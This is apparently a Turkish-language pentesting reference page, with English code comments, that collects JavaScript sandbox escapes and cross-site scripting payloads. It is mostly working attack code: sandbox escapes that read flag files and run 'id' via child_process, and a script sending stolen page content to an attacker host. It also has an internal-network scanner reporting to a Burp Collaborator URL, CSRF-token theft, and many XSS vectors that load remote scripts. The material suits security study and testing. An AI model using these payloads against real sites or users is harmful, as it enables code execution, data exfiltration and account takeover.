eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Eğer güvenilmeyen kodları çalıştırmadan önce her şey tanımsız ise (örneğin bu yazıda olduğu gibi) keyifli nesneler oluşturmak ve keyfi güvenilmeyen kodların yürütülmesini kötüye kullanmak mümkündür:
import() kullanarak
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
Dolaylı olarak require'a erişme
Buna göre modüller Node.js tarafından bir fonksiyon içine sarılır, şu şekilde:
Bu nedenle, eğer o modülden başka bir fonksiyon çağırabiliyorsak, bu fonksiyondan arguments.callee.caller.arguments[1] kullanarak require'a erişmek mümkündür:
Benzer şekilde önceki örnekte olduğu gibi, hata işleyicilerini kullanarak modülün wrapper'ına erişmek ve require fonksiyonunu almak mümkündür:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Eğer çerezde HTTPOnly bayrağı ayarlanmışsa, JavaScript'ten çerezlere erişemezsiniz. Ama şanslıysanız bunu atlatmanın bazı yollarına buradan ulaşabilirsiniz.
Sayfa İçeriğini Çalma
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Dahili IP'leri Bulma
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Ayrıca metasploit http_javascript_keylogger'ı da kullanabilirsiniz
CSRF tokenlarını çalma
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Gizli İçeriğe Erişim
Bu yazıda belirli değerlerin JS'ten kaybolmasına rağmen, bu değerlerin hala farklı nesnelerdeki JS özniteliklerinde bulunabileceği öğrenilebilir. Örneğin, bir REGEX girişinin değeri kaldırıldıktan sonra bile hala bulunabilir:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Önbellek kullanan bir site üzerinde XSS mi buldunuz? Bu payload ile Edge Side Include Injection aracılığıyla SSRF'ye yükseltmeyi deneyin:
<esi:include src="http://yoursite.com/capture" />
Cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını atlamak için kullanın!
Bu teknik hakkında daha fazla bilgi için buraya bakabilirsiniz: XSLT.
Dinamik oluşturulan PDF içinde XSS
Bir web sayfası, kullanıcı tarafından kontrol edilen giriş kullanarak bir PDF oluşturuyorsa, PDF oluşturan botu kandırmayı deneyebilir ve keyfi JS kodunu yürütmesini sağlayabilirsiniz.
Bu nedenle, eğer PDF oluşturan bot, bir tür HTMLetiketi bulursa, onları yorumlayacak ve bu davranışı kötüye kullanarak bir Sunucu XSS oluşturabilirsiniz.
Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).